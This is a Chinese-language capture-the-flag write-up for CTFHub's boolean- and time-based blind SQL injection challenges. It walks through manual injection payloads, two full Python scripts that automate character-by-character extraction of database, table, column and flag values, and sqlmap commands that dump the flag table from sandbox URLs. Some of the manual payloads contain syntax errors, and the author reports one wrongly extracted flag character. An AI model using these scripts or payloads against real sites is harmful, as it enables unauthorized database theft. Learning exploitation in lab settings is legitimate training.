CTFHub(web sql注入)(二)

发布于:2024-04-25 ⋅ 阅读:(41) ⋅ 点赞:(0)

布尔盲注

盲注原理:

将自己的注入语句使用and?id=1并列,完成注入

手工注入:

爆库名长度

首先通过折半查找的方法,通过界面的回显结果找出数据库名字的长度,并通过相同的方法依次找到数据库名字的每个字符、列名,然后再找到flag

输入“1”

成功回显

通过循环i从1到无穷,使用length(database()) = i获取库名长度,i是长度,直到返回页面提示query_success即猜测成功

1 and length(database())=1

1 and length(database())=1

根据库名长度爆库名

获得库名长度i后,使用substr(database(),i,1)将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符

1 and substr(database(),1,1)=‘a’

一直尝试

1 and substr(database(),1,1)=‘s’

在这里尝试很多次,却一直显示错误回显。原因目前还未知。具体操作可以看这位大佬

CTFHub_技能树_Web之SQL注入——布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub布尔盲注-CSDN博客

看题解得知,库名为sqli

对当前库爆表数量

1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1

1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2

库sqli里有两张表

根据库名和表数量爆表名长度

?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1

1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4

库sqli有两张表’news’和’flag‘,表名长度均为4

根据表名长度爆表名

1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘a’

1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘n’

不断尝试

1 and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)=‘f’

1 and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1)=‘g’

对表爆列数量

1 and (select count(column_name) from information_schema.columns where table_name='flag')=1

根据表名和列数量爆列名长度

1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=1

根据列名长度爆列名

1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘a’

根据列名爆数据值

1 and substr((select flag from sqli.flag),1,1)=“a”

CTFHub-web(sql布尔盲注)_ctf 布尔盲注-CSDN博客

CTFHub_技能树_Web之SQL注入——布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub布尔盲注-CSDN博客

python脚本解题

大神写的python脚本

注意修改url码后,直接运行即可

#导入库
import requests

#设定环境URL,由于每次开启环境得到的URL都不同,需要修改!
url = 'http://challenge-97e9192406bc1be6.sandbox.ctfhub.com:10800/'
#作为盲注成功的标记,成功页面会显示query_success
success_mark = "query_success"
#把字母表转化成ascii码的列表,方便便利,需要时再把ascii码通过chr(int)转化成字母
ascii_range = range(ord('a'),1+ord('z'))
#flag的字符范围列表,包括花括号、a-z,数字0-9
str_range = [123,125] + list(ascii_range) + list(range(48,58))

#自定义函数获取数据库名长度
def getLengthofDatabase():
	#初始化库名长度为1
    i = 1
    #i从1开始,无限循环库名长度
    while True:
        new_url = url + "?id=1 and length(database())={}".format(i)
        #GET请求
        r = requests.get(new_url)
        #如果返回的页面有query_success,即盲猜成功即跳出无限循环
        if success_mark in r.text:
        	#返回最终库名长度
            return i
        #如果没有匹配成功,库名长度+1接着循环
        i = i + 1

#自定义函数获取数据库名
def getDatabase(length_of_database):
	#定义存储库名的变量
    name = ""
    #库名有多长就循环多少次
    for i in range(length_of_database):
    	#切片,对每一个字符位遍历字母表
    	#i+1是库名的第i+1个字符下标,j是字符取值a-z
        for j in ascii_range:
            new_url = url + "?id=1 and substr(database(),{},1)='{}'".format(i+1,chr(j))
            r = requests.get(new_url)
            if success_mark in r.text:
            	#匹配到就加到库名变量里
                name += chr(j)
                #当前下标字符匹配成功,退出遍历,对下一个下标进行遍历字母表
                break
    #返回最终的库名
    return name

#自定义函数获取指定库的表数量
def getCountofTables(database):
	#初始化表数量为1
    i = 1
    #i从1开始,无限循环
    while True:
        new_url = url + "?id=1 and (select count(*) from information_schema.tables where table_schema='{}')={}".format(database,i)
        r = requests.get(new_url)
        if success_mark in r.text:
        	#返回最终表数量
            return i
        #如果没有匹配成功,表数量+1接着循环
        i = i + 1

#自定义函数获取指定库所有表的表名长度
def getLengthListofTables(database,count_of_tables):
	#定义存储表名长度的列表
	#使用列表是考虑表数量不为1,多张表的情况
    length_list=[]
    #有多少张表就循环多少次
    for i in range(count_of_tables):
    	#j从1开始,无限循环表名长度
        j = 1
        while True:
        	#i+1是第i+1张表
            new_url = url + "?id=1 and length((select table_name from information_schema.tables where table_schema='{}' limit {},1))={}".format(database,i,j)
            r = requests.get(new_url)
            if success_mark in r.text:
            	#匹配到就加到表名长度的列表
                length_list.append(j)
                break
            #如果没有匹配成功,表名长度+1接着循环
            j = j + 1
    #返回最终的表名长度的列表
    return length_list

#自定义函数获取指定库所有表的表名
def getTables(database,count_of_tables,length_list):
    #定义存储表名的列表
    tables=[]
    #表数量有多少就循环多少次
    for i in range(count_of_tables):
    	#定义存储表名的变量
        name = ""
        #表名有多长就循环多少次
        #表长度和表序号(i)一一对应
        for j in range(length_list[i]):
        	#k是字符取值a-z
            for k in ascii_range:
                new_url = url + "?id=1 and substr((select table_name from information_schema.tables where table_schema='{}' limit {},1),{},1)='{}'".format(database,i,j+1,chr(k))
                r = requests.get(new_url)
                if success_mark in r.text:
                	#匹配到就加到表名变量里
                    name = name + chr(k)
                    break
        #添加表名到表名列表里
        tables.append(name)
    #返回最终的表名列表
    return tables

#自定义函数获取指定表的列数量
def getCountofColumns(table):
	#初始化列数量为1
    i = 1
    #i从1开始,无限循环
    while True:
        new_url = url + "?id=1 and (select count(*) from information_schema.columns where table_name='{}')={}".format(table,i)
        r = requests.get(new_url)
        if success_mark in r.text:
        	#返回最终列数量
            return i
        #如果没有匹配成功,列数量+1接着循环
        i = i + 1

#自定义函数获取指定库指定表的所有列的列名长度
def getLengthListofColumns(database,table,count_of_column):
	#定义存储列名长度的变量
	#使用列表是考虑列数量不为1,多个列的情况
    length_list=[]
    #有多少列就循环多少次
    for i in range(count_of_column):
        #j从1开始,无限循环列名长度
        j = 1
        while True:
            new_url = url + "?id=1 and length((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1))={}".format(database,table,i,j)
            r = requests.get(new_url)
            if success_mark in r.text:
            	#匹配到就加到列名长度的列表
                length_list.append(j)
                break
            #如果没有匹配成功,列名长度+1接着循环
            j = j + 1
    #返回最终的列名长度的列表
    return length_list

#自定义函数获取指定库指定表的所有列名
def getColumns(database,table,count_of_columns,length_list):
	#定义存储列名的列表
    columns = []
    #列数量有多少就循环多少次
    for i in range(count_of_columns):
        #定义存储列名的变量
        name = ""
        #列名有多长就循环多少次
        #列长度和列序号(i)一一对应
        for j in range(length_list[i]):
            for k in ascii_range:
                new_url = url + "?id=1 and substr((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1),{},1)='{}'".format(database,table,i,j+1,chr(k))
                r = requests.get(new_url)
                if success_mark in r.text:
                	#匹配到就加到列名变量里
                    name = name + chr(k)
                    break
        #添加列名到列名列表里
        columns.append(name)
    #返回最终的列名列表
    return columns

#对指定库指定表指定列爆数据(flag)
def getData(database,table,column,str_list):
	#初始化flag长度为1
    j = 1
    #j从1开始,无限循环flag长度
    while True:
    	#flag中每一个字符的所有可能取值
        for i in str_list:
            new_url = url + "?id=1 and substr((select {} from {}.{}),{},1)='{}'".format(column,database,table,j,chr(i))
            r = requests.get(new_url)
            #如果返回的页面有query_success,即盲猜成功,跳过余下的for循环
            if success_mark in r.text:
            	#显示flag
                print(chr(i),end="")
                #flag的终止条件,即flag的尾端右花括号
                if chr(i) == "}":
                    print()
                    return 1
                break
        #如果没有匹配成功,flag长度+1接着循环
        j = j + 1

#--主函数--
if __name__ == '__main__':
	#爆flag的操作
	#还有仿sqlmap的UI美化
    print("Judging the number of tables in the database...")
    database = getDatabase(getLengthofDatabase())
    count_of_tables = getCountofTables(database)
    print("[+]There are {} tables in this database".format(count_of_tables))
    print()
    print("Getting the table name...")
    length_list_of_tables = getLengthListofTables(database,count_of_tables)
    tables = getTables(database,count_of_tables,length_list_of_tables)
    for i in tables:
        print("[+]{}".format(i))
    print("The table names in this database are : {}".format(tables))

	#选择所要查询的表
    i = input("Select the table name:")

    if i not in tables:
        print("Error!")
        exit()

    print()
    print("Getting the column names in the {} table......".format(i))
    count_of_columns = getCountofColumns(i)
    print("[+]There are {} tables in the {} table".format(count_of_columns,i))
    length_list_of_columns = getLengthListofColumns(database,i,count_of_columns)
    columns = getColumns(database,i,count_of_columns,length_list_of_columns)
    print("[+]The column(s) name in {} table is:{}".format(i,columns))

	#选择所要查询的列
    j = input("Select the column name:")

    if j not in columns:
        print("Error!")
        exit()

    print()
    print("Getting the flag......")
    print("[+]The flag is ",end="")
    getData(database,i,j,str_range)

在SELECT the table name:后面输入flag

爆破结束后,得到flagCTFHub_技能树_Web之SQL注入——布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub布尔盲注-CSDN博客

sqlmap解题

CTFHub-web(sql布尔盲注)_ctf 布尔盲注-CSDN博客

CTFHub技能树web(持续更新)--SQL注入--布尔盲注_ctfhub布尔盲注-CSDN博客

在Kali Linux里面使用sqlmap工具

数据库名称

sqlmap -u "http://challenge-7b1f32e875471cc5.sandbox.ctfhub.com:10800/?id=1" --dbs

数据表名称

sqlmap -u "http://challenge-7b1f32e875471cc5.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

字段,flag

sqlmap -u "http://challenge-7b1f32e875471cc5.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns --dump

得到flag

或者分步查询

sqlmap -u "http://challenge-7b1f32e875471cc5.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns

字段

sqlmap -u "http://challenge-7b1f32e875471cc5.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump

得到flag

时间盲注

sqlmap解题

CTFHub-web(sql时间盲注)_ctfhub 时间盲注-CSDN博客

http://challenge-2b6513b99f9a0338.sandbox.ctfhub.com:10800

数据库名称

sqlmap -u "http://challenge-2b6513b99f9a0338.sandbox.ctfhub.com:10800/?id=1" --dbs

数据表名称

sqlmap -u "http://challenge-2b6513b99f9a0338.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

字段名,flag

sqlmap -u "http://challenge-2b6513b99f9a0338.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns --dump

python脚本解题

CTFHub_技能树_Web之SQL注入——时间盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub时间盲注-CSDN博客

import requests
from time import perf_counter


# 设定环境URL,由于每次开启环境得到的URL都不同,需要修改!
url = 'http://challenge-2b6513b99f9a0338.sandbox.ctfhub.com:10800/'
rs = requests.session()
# 把字母表转化成ascii码的列表,方便便利,需要时再把ascii码通过chr(int)转化成字母
ascii_range = range(ord('a'), 1 + ord('z'))
# flag的字符范围列表,包括花括号、横杠、a-z、数字0-9
flag_range = [45, 123, 125] + list(ascii_range) + list(range(48, 58))


# 获取指定库中表的数量
def get_count_of_tables():
    i = 1
    while True:
        whole_url = url + '?id=1 and if((select count(*) from information_schema.tables where table_schema=database())={},sleep(0.5),1)'.format(i)
        t1 = perf_counter()
        rs.get(whole_url)
        t = perf_counter() - t1
        if t > 0.5:
            return i
        i = i + 1


# 获取指定库所有表的表名长度的列表
def get_length_list_of_tables():
    count_of_tables = get_count_of_tables()
    length_list = []
    for i in range(count_of_tables):
        j = 1
        while True:
            whole_url = url + '?id=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit {},1))={},sleep(0.5),1)'.format(i, j)
            t1 = perf_counter()
            rs.get(whole_url)
            t = perf_counter() -t1
            if t > 0.5:
                length_list.append(j)
                break
            j = j + 1
    return count_of_tables, length_list


# 获取指定库的所有表名列表
def get_tables():
    count_of_tables, length_list = get_length_list_of_tables()
    name_of_tables = []
    for i in range(count_of_tables):
        name = ''
        for j in range(length_list[i]):
            for k in ascii_range:
                whole_url = url + '?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={},sleep(0.5),1)'.format(i, j+1, k)
                t1 = perf_counter()
                rs.get(whole_url)
                t = perf_counter() - t1
                if t > 0.5:
                    name = name + chr(k)
                    break
        name_of_tables.append(name)
    return name_of_tables


# 获取指定表中列的数量
def get_count_of_columns(name_of_table):
    i = 1
    while True:
        whole_url = url + '?id=1 and if((select count(*) from information_schema.columns where table_schema=database() and table_name="{}")={},sleep(0.5),1)'.format(name_of_table, i)
        t1 = perf_counter()
        rs.get(whole_url)
        t = perf_counter() - t1
        if t > 0.5:
            return i
        i = i + 1


# 获取指定表所有列的列名长度列表
def get_length_list_of_columns(name_of_table):
    count_of_columns = get_count_of_columns(name_of_table)
    length_list = []
    for i in range(count_of_columns):
        j = 1
        while True:
            whole_url = url + '?id=1 and if(length((select column_name from information_schema.columns where table_schema=database() and table_name="{}" limit {},1))={},sleep(0.5),1)'.format(name_of_table, i, j)
            t1 = perf_counter()
            rs.get(whole_url)
            t = perf_counter() - t1
            if t > 0.5:
                length_list.append(j)
                break
            j = j + 1
    return count_of_columns, length_list


# 获取指定库的所有列名列表
def get_columns(name_of_table):
    count_of_columns, length_list = get_length_list_of_columns(name_of_table)
    columns = []
    for i in range(count_of_columns):
        name = ''
        for j in range(length_list[i]):
            for k in ascii_range:
                whole_url = url + '?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="{}" limit {},1),{},1))={},sleep(0.5),1)'.format(name_of_table, i, j+1, k)
                t1 = perf_counter()
                rs.get(whole_url)
                t = perf_counter() - t1
                if t > 0.5:
                    name = name + chr(k)
                    break
        columns.append(name)
    return columns


# 爆flag
def get_flag(name_of_table, name_of_column):
    i = 1
    while True:
        for j in flag_range:
            whole_url = url + '?id=1 and if(ascii(substr((select {} from {}),{},1))={},sleep(0.5),1)'.format(name_of_column,name_of_table, i, j)
            t1 = perf_counter()
            rs.get(whole_url)
            t = perf_counter() - t1
            if t > 0.5:
                print(chr(j), end="")
                if chr(j) == '}':
                    print()
                    return 1
                break
        i = i + 1


def main():
    print("Judging the database...")
    print()
    print("Getting the table name...")
    tables = get_tables()
    for i in tables:
        print("[+]{}".format(i))
    print("The table names in this database are : {}".format(tables))
    table = input("Select the Table name:")
    if table not in tables:
        print("Error!")
        exit()
    print()
    print("Getting the column names in the {} table......".format(table))
    columns = get_columns(table)
    for i in columns:
        print("[+]{}".format(i))
    print("The column names in {} are : {}".format(table, columns))
    column = input("Select the Column name:")
    if column not in columns:
        print("Error!")
        exit()
    print()
    print("Getting the flag......")
    print("[+]The flag is ", end="")
    get_flag(table, column)


if __name__ == '__main__':
    main()

运行脚本

输入flag后回车运行

得到flag

但是提交时提示flag错误

ctfhub{1b8e7af8-da83e4e030a879c}

ctfhub{1b8e7af84da83e4e030a879c}

经研究之后,发现为其中一个字符爆破错误,原因暂时还未知。


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